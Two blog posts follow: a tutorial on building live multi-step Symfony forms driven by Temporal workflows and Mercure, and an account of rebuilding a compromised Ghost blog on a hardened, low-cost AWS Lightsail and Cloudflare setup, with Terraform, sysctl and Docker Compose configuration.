use Temporal\Workflow\WorkflowInterface;
use Temporal\Workflow\WorkflowMethod;
use Vanta\Integration\Symfony\Temporal\Attribute\AssignWorker;

#[AssignWorker(name: 'default')]
#[WorkflowInterface]
class TakeawayWorkflow implements TakeawayWorkflowInterface
{
    private readonly object $activities;

    private readonly ActivityProxy|NotifierActivitiesInterface $notifier;

    private TakeawayState $state;

    public function __construct()
    {
        $this->activities = Workflow::newActivityStub(
            TakeawayActivitiesInterface::class,
            ActivityOptions::new()
                ->withStartToCloseTimeout('10 seconds')
                ->withRetryOptions(
                    RetryOptions::new()->withMaximumAttempts(2)
                )
        );

        $this->notifier = Workflow::newActivityStub(
            NotifierActivitiesInterface::class,
            ActivityOptions::new()
                ->withStartToCloseTimeout('5 seconds')
                ->withRetryOptions(
                    RetryOptions::new()->withMaximumAttempts(2)
                )
        );
    }

    #[WorkflowMethod]
    public function run(): Generator
    {
        $this->state = new TakeawayState();
        $this->state->workflowId = Workflow::getInfo()->execution->getID();
        $this->state->orderNumber = 'TA-' . strtoupper(substr($this->state->workflowId, 0, 6));

        // Set the initial step
        $this->state->currentStep = Takeaway::MENU->value;

        $engine = new StepEngine(
            new StepCatalog(TakeawaySteps::all()),
            $this->activities,
            $this->notifier
        );

        yield $engine->run($this->state);
    }

    #[SignalMethod]
    public function submitStep(string $stepName, mixed $payload): void
    {
        match ($stepName) {
            Takeaway::MENU->value => $this->state->menu = $payload,
            Takeaway::ADDRESS->value => $this->state->address = $payload,
            Takeaway::MAP->value => $this->state->mapConfirmed = (bool) $payload->confirmLocation,
            default => null,
        };
    }

    #[QueryMethod]
    public function getState(): TakeawayState
    {
        return $this->state;
    }
}

The Engine

You might have noticed the StepEngine above. That's a generic and reusable class that forms part of the "library" I've built.

class StepEngine
{
    public function __construct(
        private readonly StepCatalog $catalog,
        private readonly object $activities,
        private readonly object $notifier
    ) {
    }

    public function run(FlowState $state): Generator
    {
        $current = $state->currentStep;

        while (true) {
            $def = $this->catalog->getByValue($current);
            $handler = new ($def->handlerClass)();

            // Update the UI via Mercure
            yield $this->notifier->notifyWorkflowUpdate(
                $state->workflowId,
                $current,
                ['state' => $state]
            );

            // Execute the Handler (This blocks if the handler calls await!)
            /** @var StepResult $result */
            $result = yield $handler->execute($state, $this->activities, $this->notifier);

            // Move to next step or finish
            if ($result->nextStep === null || $def->terminal) {
                break;
            }

            $current = $state->currentStep = $result->nextStep->value;
        }
    }
}

It does 3 things:

Notifies the UI we have started a new step (triggering a re-render)
Executes the handler for that step
Repeat

Crucially, because the $state is passed during notification, the UI is always in sync with the worker. When the backend geocodes an address and updates the latitude/longitude, that data is immediately pushed to the frontend, allowing the Map component to render the pin correctly without the browser ever asking for it.

The Entry Point

We start with a standard Symfony Controller. Its only job is to spin up a new Temporal Workflow, generate a UUID, and redirect the user to the "live" view.

<?php

declare(strict_types=1);

namespace App\Demo\Takeaway\Controller;

use App\Demo\Takeaway\Workflow\TakeawayWorkflow;
use Carbon\CarbonInterval;
use Ramsey\Uuid\Uuid;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing\Attribute\Route;
use Temporal\Client\WorkflowClientInterface;
use Temporal\Client\WorkflowOptions;

class TakeawayController extends AbstractController
{
    public function __construct(private readonly WorkflowClientInterface $workflowClient)
    {
    }

    #[Route('/demo/takeaway', name: 'demo_takeaway')]
    public function index(): Response
    {
        $workflowId = Uuid::uuid7()->toString();

        $workflow = $this->workflowClient->newWorkflowStub(
            TakeawayWorkflow::class,
            WorkflowOptions::new()
                ->withTaskQueue('default')
                ->withWorkflowExecutionTimeout(CarbonInterval::minutes(30))
                ->withWorkflowRunTimeout(CarbonInterval::minutes(30))
                ->withWorkflowId($workflowId)
        );

        $this->workflowClient->start($workflow);

        return $this->redirectToRoute('demo_takeaway_show', [
            'workflowId' => $workflowId,
        ]);
    }

    #[Route('/demo/takeaway/{workflowId}', name: 'demo_takeaway_show')]
    public function show(string $workflowId): Response
    {
        return $this->render('Takeaway/index.html.twig', [
            'workflowId' => $workflowId,
        ]);
    }
}

The Twig template is equally simple. It just renders the Live Component, passing in the Workflow ID.

{% extends 'base.html.twig' %}

{% block title %}Takeaway Demo{% endblock %}

{% block body %}
    <div class="row justify-content-center">
        <div class="col-12 col-lg-8">
            <div class="mb-4 text-center">
                <h1 class="h3">Takeaway delivery</h1>
                <p class="text-muted mb-0">Pick a dish, confirm the drop-off, and watch the order progress live.</p>
            </div>
            {{ component('TakeawayWorkflowRunner', {
                workflowId: workflowId
            }) }}
        </div>
    </div>
{% endblock %}

The Container

I abstracted the heavy lifting (Mercure subscriptions, state syncing) into a base class, so the specific Live Component for the Takeaway demo is incredibly thin. It simply defines which Workflow and Step Catalog to use.

<?php

declare(strict_types=1);

namespace App\Demo\Takeaway\Twig\Components;

use App\Demo\Takeaway\TakeawayState;
use App\Demo\Takeaway\TakeawaySteps;
use App\Demo\Takeaway\Workflow\TakeawayWorkflow;
use App\StepKit\FlowState;
use App\StepKit\Twig\Components\AbstractWorkflowRunner;
use InvalidArgumentException;
use Symfony\UX\LiveComponent\Attribute\AsLiveComponent;
use Symfony\UX\LiveComponent\Attribute\LiveProp;

#[AsLiveComponent('TakeawayWorkflowRunner', template: 'components/WorkflowRunner.html.twig')]
class TakeawayWorkflowRunner extends AbstractWorkflowRunner
{
    #[LiveProp(writable: true)]
    public ?TakeawayState $state = null;

    protected function getWorkflowClass(): string
    {
        return TakeawayWorkflow::class;
    }

    protected function getStepsClass(): string
    {
        return TakeawaySteps::class;
    }

    protected function readState(): ?FlowState
    {
        return $this->state;
    }

    protected function writeState(FlowState $state): void
    {
        if (!$state instanceof TakeawayState) {
            throw new InvalidArgumentException('Expected TakeawayState for workflow state.');
        }

        $this->state = $state;
    }
}

The template for this component acts as the Dynamic Container. It listens to the Mercure stream (via the workflow-stream stimulus controller) and renders the child component dictated by the current step.

<div {{ attributes.defaults({
    'class': 'workflow-runner',
    'data-controller': 'live workflow-stream',
    'data-workflow-stream-workflow-id-value': workflowId,
    'data-workflow-stream-mercure-url-value': mercurePublicUrl,
}) }}
        id="workflow-router-{{ workflowId }}"
>

    <div class="card shadow-sm">
        <div class="card-body">
            {% if this.childComponentName %}
                {{ component(this.childComponentName, {
                    workflowId: this.workflowId,
                    stepName: currentStepId,
                    state: state,
                    key: 'step_' ~ currentStepId
                }) }}
            {% endif %}
        </div>
    </div>

</div>

The Abstraction

Under the hood, the AbstractWorkflowRunner handles two critical jobs:

Mount - when the page loads it queries Temporal for the initial state.
Render - It looks up the current step in the Catalog to determine which child component to show.

<?php

declare(strict_types=1);

namespace App\StepKit\Twig\Components;

use App\StepKit\FlowState;
use App\StepKit\StepCatalog;
use InvalidArgumentException;
use Symfony\UX\LiveComponent\Attribute\LiveProp;
use Symfony\UX\LiveComponent\DefaultActionTrait;
use Temporal\Client\WorkflowClientInterface;

abstract class AbstractWorkflowRunner
{
    use DefaultActionTrait;

    /**
     * @var non-empty-string
     */
    #[LiveProp]
    public string $workflowId;

    #[LiveProp(writable: true)]
    public ?string $currentStepId = null;

    public function __construct(public string $mercurePublicUrl, private readonly WorkflowClientInterface $workflowClient)
    {
    }

    public function mount(string $workflowId): void
    {
        $this->workflowId = $workflowId;

        $this->writeState(
            $this->workflowClient
                ->newRunningWorkflowStub($this->getWorkflowClass(), $this->workflowId)
                ->getState()
        );

        $this->currentStepId = $this->readState()?->currentStep;
    }

    public function getChildComponentName(): ?string
    {
        $state = $this->readState();

        if (!$state instanceof FlowState || !$state->currentStep) {
            return null;
        }

        $catalog = $this->getCatalog();

        return $catalog->getByValue($this->currentStepId ?? $state->currentStep)
            ->liveComponent;
    }

    // ... abstract methods to get catalog/classes
}

The Interaction

Finally, we need to handle user input. Instead of writing a custom controller for every step, I created a generic AbstractWorkflowForm.

This makes your implementation simple.

<?php

declare(strict_types=1);

namespace App\Demo\Takeaway\Twig\Components;

use App\Demo\Takeaway\TakeawayState;
use App\Demo\Takeaway\TakeawaySteps;
use App\Demo\Takeaway\Workflow\TakeawayWorkflow;
use App\StepKit\FlowState;
use App\StepKit\Twig\Components\AbstractWorkflowForm;
use Symfony\UX\LiveComponent\Attribute\AsLiveComponent;
use Symfony\UX\LiveComponent\Attribute\LiveProp;
use Symfony\UX\LiveComponent\ComponentWithFormTrait;
use Symfony\UX\LiveComponent\DefaultActionTrait;

#[AsLiveComponent('TakeawayForm', template: 'components/Form.html.twig')]
class TakeawayForm extends AbstractWorkflowForm
{
    use DefaultActionTrait;
    use ComponentWithFormTrait;

    #[LiveProp(writable: false)]
    public ?TakeawayState $state = null;

    protected function getWorkflowClass(): string
    {
        return TakeawayWorkflow::class;
    }

    protected function getStepsClass(): string
    {
        return TakeawaySteps::class;
    }

    protected function readState(): ?FlowState
    {
        return $this->state;
    }
}

AbstractWorkflowForm uses the StepCatalog to identify the correct FormType and DTO for the current step. When save() is triggered, it validates the data and sends a submitStep signal to the Temporal Workflow.

<?php

declare(strict_types=1);

namespace App\StepKit\Twig\Components;

use App\StepKit\FlowState;
use App\StepKit\StepCatalog;
use InvalidArgumentException;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\Form\FormFactoryInterface;
use Symfony\Component\Form\FormInterface;
use Symfony\UX\LiveComponent\Attribute\LiveAction;
use Symfony\UX\LiveComponent\Attribute\LiveProp;
use Symfony\UX\LiveComponent\ComponentWithFormTrait;
use Symfony\UX\LiveComponent\DefaultActionTrait;
use Temporal\Client\WorkflowClientInterface;

abstract class AbstractWorkflowForm extends AbstractController
{
    use ComponentWithFormTrait;
    use DefaultActionTrait;

    /**
     * @var non-empty-string
     */
    #[LiveProp]
    public string $workflowId;

    public function __construct(
        private readonly FormFactoryInterface $formFactory,
        private readonly WorkflowClientInterface $workflowClient,
    ) {
    }

    #[LiveAction]
    public function save(): void
    {
        $this->submitForm();
        $form = $this->getForm();

        if (!$form->isValid()) {
            return;
        }

        $state = $this->readState();

        if (!$state instanceof FlowState || !is_string($state->currentStep)) {
            return;
        }

        $catalog = $this->getCatalog();
        $def = $catalog->getByValue($state->currentStep);

        $this->workflowClient->newRunningWorkflowStub($this->getWorkflowClass(), $this->workflowId)
            ->submitStep($def->id->value, $form->getData());
    }

    protected function instantiateForm(): FormInterface
    {
        $state = $this->readState();

        if (!$state instanceof FlowState || !is_string($state->currentStep)) {
            return $this->formFactory->createNamedBuilder('form')->getForm();
        }

        $catalog = $this->getCatalog();
        $def = $catalog->getByValue($state->currentStep);

        $formType = $def->formType;
        $dto = $def->dtoClass;

        if ($formType === null || $dto === null) {
            return $this->formFactory->createNamedBuilder('form')->getForm();
        }

        return $this->formFactory->create(
            type: $formType,
            data: new $dto(),
        );
    }

If all you want to handle is a standard multi-step form, the generic AbstractWorkflowForm handles everything.

Real applications rarely fit into neat little boxes. The Takeaway example, for instance, requires a map to confirm the geocoded location.

Because we are just using Live Components, we can easily mix in other Symfony UX features. Here is the TakeawayMapConfirm component. It extends our workflow abstraction but adds ComponentWithMapTrait to render the interactive map using Symfony UX Map.

<?php

declare(strict_types=1);

namespace App\Demo\Takeaway\Twig\Components;

use App\Demo\Takeaway\TakeawayState;
use App\Demo\Takeaway\TakeawaySteps;
use App\Demo\Takeaway\Workflow\TakeawayWorkflow;
use App\StepKit\FlowState;
use App\StepKit\Twig\Components\AbstractWorkflowForm;
use Symfony\UX\LiveComponent\Attribute\AsLiveComponent;
use Symfony\UX\LiveComponent\Attribute\LiveProp;
use Symfony\UX\LiveComponent\ComponentWithFormTrait;
use Symfony\UX\LiveComponent\DefaultActionTrait;
use Symfony\UX\Map\Live\ComponentWithMapTrait;
use Symfony\UX\Map\Map;
use Symfony\UX\Map\Marker;
use Symfony\UX\Map\Point;

#[AsLiveComponent('TakeawayMapConfirm', template: 'components/takeaway/MapConfirm.html.twig')]
class TakeawayMapConfirm extends AbstractWorkflowForm
{
    use DefaultActionTrait;
    use ComponentWithFormTrait;
    use ComponentWithMapTrait;

    #[LiveProp(writable: false)]
    public ?TakeawayState $state = null;

    protected function instantiateMap(): Map
    {
        $latitude = $this->state?->latitude ?? 51.5074;
        $longitude = $this->state?->longitude ?? -0.1278;
        $point = new Point($latitude, $longitude);

        return new Map()
            ->center($point)
            ->zoom(15)
            ->addMarker(new Marker($point, 'Drop-off'))
            ->fitBoundsToMarkers();
    }

    protected function getWorkflowClass(): string
    {
        return TakeawayWorkflow::class;
    }

    protected function getStepsClass(): string
    {
        return TakeawaySteps::class;
    }

    protected function readState(): ?FlowState
    {
        return $this->state;
    }
}

The Javascript

I mentioned it briefly earlier with the WorkflowRunner. There's a small amount of Javascript that links Mercure to the UX components.

This updates the state and currentStepId properties of the WorkflowRunner and triggers a render on the component, updating the UI.

import { Controller } from '@hotwired/stimulus';

export default class extends Controller {
    static values = {
        workflowId: String,
        mercureUrl: String,
    }

    connect() {
        console.log('Workflow stream controller connected!');
        this.connectToMercure();
    }

    connectToMercure() {
        const url = new URL(this.mercureUrlValue);
        url.searchParams.append('topic', `workflow/${this.workflowIdValue}`);

        const urlString = url.toString();
        console.log('Connecting to Mercure:', urlString);

        // EventSource needs a string, not a URL object
        this.eventSource = new EventSource(urlString);

        this.eventSource.onopen = () => {
            console.log('Mercure connection opened');
        };

        this.eventSource.onmessage = (event) => {
            console.log('Mercure event:', event.data);
            const data = JSON.parse(event.data);
            this.handleUpdate(data);
        };

        this.eventSource.onerror = (error) => {
            console.error('Mercure error:', error);
            console.log('ReadyState:', this.eventSource.readyState);
        };
    }

    async handleUpdate(data) {
        const { getComponent } = await import('@symfony/ux-live-component');
        const component = await getComponent(this.element);

        if (data.payload?.state) {
            component.set('state', data.payload.state, false);
        }

        if (data.step) {
            component.set('currentStepId', data.step, false);
        }

        await component.render();
    }

    disconnect() {
        if (this.eventSource) {
            console.log('Closing Mercure connection');
            this.eventSource.close();
        }
    }
}

The Flow

Now you know that the StepCatalog defines each step, how it's displayed and how it's handled. Forms when submitted will update properties on the state. And that Mercure will push the updated state on every step. Seeing the handler code laid out is the final piece of the puzzle.

// Menu Step
yield Workflow::await(
    static fn(): bool => $state->menu !== null // wait for menu form to be submitted
);

return StepResult::next(Takeaway::ADDRESS);

// Address Step
yield Workflow::await(
    static fn(): bool => $state->address !== null // wait for address form to be submitted
);

$location = yield $activity->geocodeAddress($state->address);

// Append coordinates to the state - mercure will push this back to the UI
if ($location?->getCoordinates() !== null) {
    $state->latitude = $location->getCoordinates()->getLatitude();
    $state->longitude = $location->getCoordinates()->getLongitude();
}

return StepResult::next(Takeaway::MAP);

// Map Step
yield Workflow::await(
  static fn(): bool => $state->mapConfirmed // wait for the map location to be confirmed
);

return StepResult::next(Takeaway::PREPARE_FOOD);

// Prepare Food Step
yield Workflow::timer(DateInterval::createFromDateString('20 seconds')); // wait for 20 seconds to "simulate" something happening

return StepResult::next(Takeaway::DELIVER_FOOD);

// Deliver Food Step
yield Workflow::timer(DateInterval::createFromDateString('25 seconds')); // wait for 25 seconds to "simulate" something happening

return StepResult::next(Takeaway::DELIVERED);

// Complete Step
yield from [];

return StepResult::end(); // fin

Conclusion

By combining Temporal, Symfony UX and Mercure, we have built a system that feels and acts like a modern Single Page Application (SPA) but writes like a standard PHP application.

Instead of managing state in Redux, passing JSON back and forth, and writing complex frontend routing logic, we simply let the workflow drive.

Whilst the Takeaway example is relatively simple - hopefully it demonstrates the potential of this pattern in building complex, state heavy web apps.

The repository containing what I'm tentatively naming StepKit and some examples including the one featured in this article is below.

I borrowed the other 2 examples from - https://github.com/yceruto/formflow-demo/ so thanks to yceruto.

https://github.com/clegginabox/stepkit

I’d love to hear your thoughts on the pattern and the naming. Also, as this is my first deep dive into Symfony UX, I am sure there are optimizations I've missed. If you spot a cleaner way to handle the Live Components or the wiring, please let me know.

As you've made it this far - a little demo of the other project I mentioned at the beginning of this post.

Ddrop a comment if you have questions, suggestions, or if you’ve seen something similar implemented elsewhere!

Until next time 👋

Enterprise Architecture for a blog nobody reads

Paul Clegg — Fri, 12 Dec 2025 18:38:56 +0000

The previous incarnation of this site lived happily on a Digital Ocean droplet - until react2shell came along.

I put the whole thing together rather haphazardly and left my Umami login page open to the public. My droplet was compromised and became part of a botnet only a few days after CVE-2025-55182 was announced.

React2Shell is a critical (CVSS 10.0) unauthenticated remote code execution vulnerability in React Server Components. The vulnerability allows attackers to execute arbitrary code on the server via a specially crafted HTTP request.

In my case the attackers installed Nezha and Sliver.

So this time around, I figured I'd do the complete opposite. How secure could I make my blog whilst spending as little as possible?

My blog runs on Ghost, which requires MySQL. Umami v3 requires Postgres. The cheapest hosted databases are around $15/month each – $30 just to store a few megabytes of data.

If I followed Docker/AWS best practices - Ghost and Umami would run as seperate ECS services on Fargate. That would cost ~$23/month. And that's before a NAT Gateway (~$32/month) or fck-nat (much cheaper).

I considered Fargate Spot – typically 70% cheaper. The price of my two containers would drop from ~$23 to ~$7. But I would want to run at least two of each ($14). Being spot instances they can be turned off with a two minute warning whenever AWS needs the capacity back . However to run more than one instance of each, I would need a load balancer (~$16/month).

Service	Specs	Monthly Cost	Still need...
Lightsail	2 vCPU, 2GB RAM	~$12	Nothing — all included
EC2 (t3.small)	2 vCPU, 2GB RAM	~$15	EBS storage (~$2), NAT Gateway ($32), data transfer
Fargate	2 vCPU, 2GB RAM	~$23	Load balancer ($16), NAT Gateway ($32) or VPC endpoints
Fargate Spot	2 vCPU, 2GB RAM	~$14	Load balancer ($16), NAT Gateway ($32), redundancy

Basically, hosting my blog "properly" wasn't worth the money.

Since I already use AWS, I decided to over-engineer a cheaper solution. My 'enterprise architecture' is a Docker Compose stack running on a $12/month Lightsail instance, managed via Terraform.

➜ blog infracost breakdown --path . --show-skipped

 Name Monthly Qty Unit Monthly Cost   

 aws_lightsail_instance.ghost                                                                                     
 └─ Virtual server (Linux/UNIX) 730 hours $11.77   

 aws_kms_key.replica                                                                                              
 ├─ Customer master key 1 months $1.00   
 ├─ Requests Monthly cost depends on usage: $0.03 per 10k requests     
 ├─ ECC GenerateDataKeyPair requests Monthly cost depends on usage: $0.10 per 10k requests     
 └─ RSA GenerateDataKeyPair requests Monthly cost depends on usage: $0.10 per 10k requests     

 module.s3_bucket_backup.aws_s3_bucket.this[0]                                                                    
 └─ Standard                                                                                                      
    ├─ Storage Monthly cost depends on usage: $0.024 per GB              
    ├─ PUT, COPY, POST, LIST requests Monthly cost depends on usage: $0.0053 per 1k requests    
    ├─ GET, SELECT, and all other requests Monthly cost depends on usage: $0.00042 per 1k requests   
    ├─ Select data scanned Monthly cost depends on usage: $0.00225 per GB            
    └─ Select data returned Monthly cost depends on usage: $0.0008 per GB             

 module.s3_bucket_backup_replica.aws_s3_bucket.this[0]                                                            
 └─ Standard                                                                                                      
    ├─ Storage Monthly cost depends on usage: $0.024 per GB              
    ├─ PUT, COPY, POST, LIST requests Monthly cost depends on usage: $0.0053 per 1k requests    
    ├─ GET, SELECT, and all other requests Monthly cost depends on usage: $0.00042 per 1k requests   
    ├─ Select data scanned Monthly cost depends on usage: $0.00225 per GB            
    └─ Select data returned Monthly cost depends on usage: $0.0008 per GB             

 OVERALL TOTAL $12.77 

*Usage costs can be estimated by updating Infracost Cloud settings, see docs for other options.

──────────────────────────────────
40 cloud resources were detected:
∙ 4 were estimated
∙ 33 were free
∙ 3 are not supported yet, see https://infracost.io/requested-resources:
  ∙ 1 x aws_lightsail_disk
  ∙ 1 x aws_lightsail_disk_attachment
  ∙ 1 x aws_lightsail_instance_public_ports

┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━┳━━━━━━━━━━━━┓
┃ Project ┃ Baseline cost ┃ Usage cost* ┃ Total cost ┃
┣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━╋━━━━━━━━━━━━┫
┃ main ┃ $13 ┃ - ┃ $13 ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━┻━━━━━━━━━━━━┛

The damage? About $14.80/month (just over a tenner).

That figure accounts for the instance plus a few extras Infracost missed, like the disk storage and an external KMS key. Since my backups are tiny, S3 costs are basically rounding errors.

For the rest of the infrastructure, I use Cloudflare's free tier.

I had to enter card details for R2 (Cloudflare's object storage) but there's no way I'm getting close to hitting any of these limits.

The Architecture

Validation

Checkov approves, once I'd told it I wasn't really enterprise enough for SSO.

       _ _
   ___| |__  ______ | | _________
  / __| '_ \ / _ \/__ | |/ / _ \ \ / /
 | ( __| | | |__ / (__| < (_) \ V /
  \ ___|_| |_|\___ |\ ___|_|\_\___ / \_/

By Prisma Cloud | version: 3.2.495 

terraform scan results:

Passed checks: 60, Failed checks: 0, Skipped checks: 2

Layer 1: Cloudflare (Edge Protection)

No exposed ports. There are zero inbound ports on my Lightsail instance (except SSH via AWS's browser console). All traffic flows through Cloudflare.

The Tunnel: The cloudflared container creates an encrypted outbound connection to the Cloudflare edge. When users access the domain, Cloudflare routes requests through this pre-established tunnel. The cloudflared container then acts as an internal reverse proxy, directing traffic to Ghost or Umami based on hostname.
WAF & DDoS: Cloudflare's Web Application Firewall sits in front of everything. Rate limiting, bot detection and DDoS mitigation happen before traffic ever reaches my infrastructure.
Caching: Static assets are cached at Cloudflare's edge. This reduces load on my tiny instance and means most requests never hit my server at all. Ghost's media assets are served directly from R2 via a custom domain. There's a little Cloudflare Worker that Ghost calls via webhook to purge the cache when necessary.
Zero Trust Access: This is the key difference from last time. Sensitive routes — /ghost/* (admin panel) and the Umami dashboard are both protected by Cloudflare Access. Users must authenticate via email code before Cloudflare even allows the request through the tunnel.

If React2Shell v2 drops tomorrow, the attack surface is much smaller. Shodan won't even know what lives at umami.clegginabox.co.uk. There's no open port or favicon to fingerprint, no version header to scrape. Just the Cloudflare Access page.

Layer 2: Host Hardening

The Lightsail instance itself is locked down:

No public SSH. SSH access is only available through Lightsail's browser-based console, which requires AWS console authentication (with 2FA). There's no port 22 exposed to the internet.

resource "aws_lightsail_instance_public_ports" "ghost" {
  instance_name = aws_lightsail_instance.ghost.name

  port_info {
    protocol = "tcp"
    from_port = 22
    to_port = 22
    cidr_list_aliases = ["lightsail-connect"] # Browser SSH only
  }
}

Kernel hardening: Sysctl settings to prevent IP spoofing, disable ICMP redirects, enable SYN flood protection and disable IPv6.

# IP Spoofing protection
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1

# Ignore ICMP redirects
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.default.send_redirects = 0

# Ignore source-routed packets
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.default.accept_source_route = 0

# SYN flood protection
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_max_syn_backlog = 2048
net.ipv4.tcp_synack_retries = 2

# Ignore ICMP broadcasts
net.ipv4.icmp_echo_ignore_broadcasts = 1

# Log martian packets
net.ipv4.conf.all.log_martians = 1

# Disable IPv6
net.ipv6.conf.all.disable_ipv6 = 1
net.ipv6.conf.default.disable_ipv6 = 1

Automatic updates: Unattended upgrades are enabled. Security patches apply automatically.

Firewall: UFW is configured as a secondary layer (though Lightsail's firewall takes precedence). Can't hurt to have two firewalls right?

Layer 3: Container Isolation

services:
  ghost:
    image: ghcr.io/clegginabox/clegginabox.co.uk:latest
    restart: always
    user: "1000:1000"
    expose:
      - "2368"
    environment:
      url: https://${GHOST_DOMAIN}

      # Database Config
      database__client: mysql
      database __connection__ host: mysql
      database __connection__ user: ghost
      database __connection__ password: ${MYSQL_PASSWORD}
      database __connection__ database: ghost

      # Mail Config
      mail__transport: SMTP
      mail__from: "noreply@${GHOST_DOMAIN}"
      mail __options__ host: email-smtp.${AWS_REGION}.amazonaws.com
      mail __options__ port: "587"
      mail __options__ secure: "false"
      mail __options__ auth__user: ${MAIL_USER}
      mail __options__ auth__pass: ${MAIL_PASS}

      # Object storage config
      storage__active: s3
      storage __s3__ region: auto
      storage __s3__ bucket: ${R2_BUCKET}
      storage __s3__ endpoint: https://${R2_ACCOUNT_ID}.r2.cloudflarestorage.com
      storage __s3__ accessKeyId: ${R2_ACCESS_KEY}
      storage __s3__ secretAccessKey: ${R2_SECRET_KEY}
      storage __s3__ assetHost: ${R2_PUBLIC_DOMAIN}
      storage __s3__ forcePathStyle: true
    volumes:
      - /mnt/data/ghost:/var/lib/ghost/content
    depends_on:
      mysql:
        condition: service_healthy
    security_opt:
      - no-new-privileges:true
    networks:
      - frontend
      - ghost-db

  tunnel:
    image: cloudflare/cloudflared:2025.11.1
    restart: always
    command: tunnel run
    read_only: true
    environment:
      - TUNNEL_TOKEN=${TUNNEL_TOKEN}
    depends_on:
      umami:
        condition: service_healthy
    security_opt:
      - no-new-privileges:true
    networks:
      - frontend

  mysql:
    image: mysql:8.4.7
    restart: always
    user: "999:999"
    command:
      # MySQL likes to use loads of RAM (~400MB) as standard...
      - --innodb-buffer-pool-size=128M
      - --innodb-log-buffer-size=8M
      - --performance-schema=OFF
      - --max-connections=50
      - --key-buffer-size=8M
      - --thread-cache-size=4
      - --tmp-table-size=16M
      - --max-heap-table-size=16M
      - --table-open-cache=400
      - --table-definition-cache=400
    environment:
      MYSQL_ROOT_PASSWORD: ${MYSQL_ROOT_PASSWORD}
      MYSQL_DATABASE: ghost
      MYSQL_USER: ghost
      MYSQL_PASSWORD: ${MYSQL_PASSWORD}
    volumes:
      - /mnt/data/mysql:/var/lib/mysql
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-h", "localhost"]
      interval: 30s
      timeout: 10s
      retries: 5
    security_opt:
      - no-new-privileges:true
    networks:
      - ghost-db

  umami:
    image: ghcr.io/umami-software/umami:3.0.2
    restart: always
    user: "1000:1000"
    expose:
      - "3000"
    environment:
      DATABASE_URL: postgresql://umami:${POSTGRES_PASSWORD}@postgres:5432/umami
      APP_SECRET: ${UMAMI_SECRET}
    depends_on:
      postgres:
        condition: service_healthy
    init: true
    healthcheck:
      test: ["CMD-SHELL", "curl -f http://localhost:3000/api/heartbeat"]
      interval: 30s
      timeout: 10s
      retries: 5
    security_opt:
      - no-new-privileges:true
    networks:
      - frontend
      - umami-db

  postgres:
    image: postgres:18.1-alpine
    restart: always
    user: "70:70"
    command:
      - -c
      - shared_buffers=64MB
      - -c
      - effective_cache_size=128MB
      - -c
      - work_mem=4MB
      - -c
      - maintenance_work_mem=32MB
    environment:
      POSTGRES_DB: umami
      POSTGRES_USER: umami
      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
    volumes:
      - /mnt/data/postgres:/var/lib/postgresql/data
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U umami -d umami"]
      interval: 30s
      timeout: 10s
      retries: 5
      start_period: 10s
    security_opt:
      - no-new-privileges:true
    networks:
      - umami-db

  diun:
    image: crazymax/diun:4.30.0
    restart: always
    user: "1000:1000"
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock:ro
      - /mnt/data/diun:/data
    environment:
      TZ: Europe/London
      DIUN_WATCH_SCHEDULE: 0 8 * * * # Check daily at 8am
      DIUN_PROVIDERS_DOCKER: true
      DIUN_PROVIDERS_DOCKER_WATCHBYDEFAULT: true
      DIUN_NOTIF_MAIL_HOST: email-smtp.${AWS_REGION}.amazonaws.com
      DIUN_NOTIF_MAIL_PORT: 587
      DIUN_NOTIF_MAIL_SSL: false
      DIUN_NOTIF_MAIL_USERNAME: ${MAIL_USER}
      DIUN_NOTIF_MAIL_PASSWORD: ${MAIL_PASS}
      DIUN_NOTIF_MAIL_FROM: "noreply@${GHOST_DOMAIN}"
      DIUN_NOTIF_MAIL_TO: ${NOTIF_MAIL_TO}
    security_opt:
      - no-new-privileges:true

# Segregate containers - ghost doesn't need access to postgres etc
networks:
  frontend:
  ghost-db:
    internal: true
  umami-db:
    internal: true

Even if an attacker compromises Ghost or Umami, I want to limit what they can do.

Non-root users: Every container runs as a non-root user.

ghost:
  user: "1000:1000"

mysql:
  user: "999:999"

postgres:
  user: "70:70"

umami:
  user: "1000:1000"

No privilege escalation: All containers have no-new-privileges set - preventing processes from gaining additional privileges via setuid binaries or other mechanisms.

security_opt:
  - no-new-privileges:true

Read-only filesystems: The cloudflared container runs with a read-only root filesystem. An attacker can't write persistent backdoors.

tunnel:
  read_only: true

Network segmentation: Containers can only talk to what they need

networks:
  frontend: # Ghost, Umami, Tunnel
  ghost-db: # Ghost + MySQL only
    internal: true
  umami-db: # Umami + Postgres only
    internal: true

Ghost can reach MySQL but not Postgres. Umami can reach Postgres but not MySQL. Neither database is accessible from the tunnel container. If Ghost gets compromised, the attacker can't pivot to the Umami database (and vice versa).

Health checks with dependencies: Containers don't start until their dependencies are healthy. This prevents race conditions and ensures clean startup order.

Performance tuning for a small instance: My 2GB instance didn't have much in the way of free RAM with everything running . MySQL uses ~400MB of RAM with it's standard config. I'd like to run a little comment system at some point without crashing the whole thing.

command:
      # MySQL likes to use loads of RAM (~400MB) as standard...
      - --innodb-buffer-pool-size=128M
      - --innodb-log-buffer-size=8M
      - --performance-schema=OFF
      - --max-connections=50
      - --key-buffer-size=8M
      - --thread-cache-size=4
      - --tmp-table-size=16M
      - --max-heap-table-size=16M
      - --table-open-cache=400
      - --table-definition-cache=400

Layer 4: Secrets Management

No secrets are hardcoded. Database passwords, SMTP credentials, R2 keys etc are all stored in AWS SSM Parameter Store and encrypted with KMS.

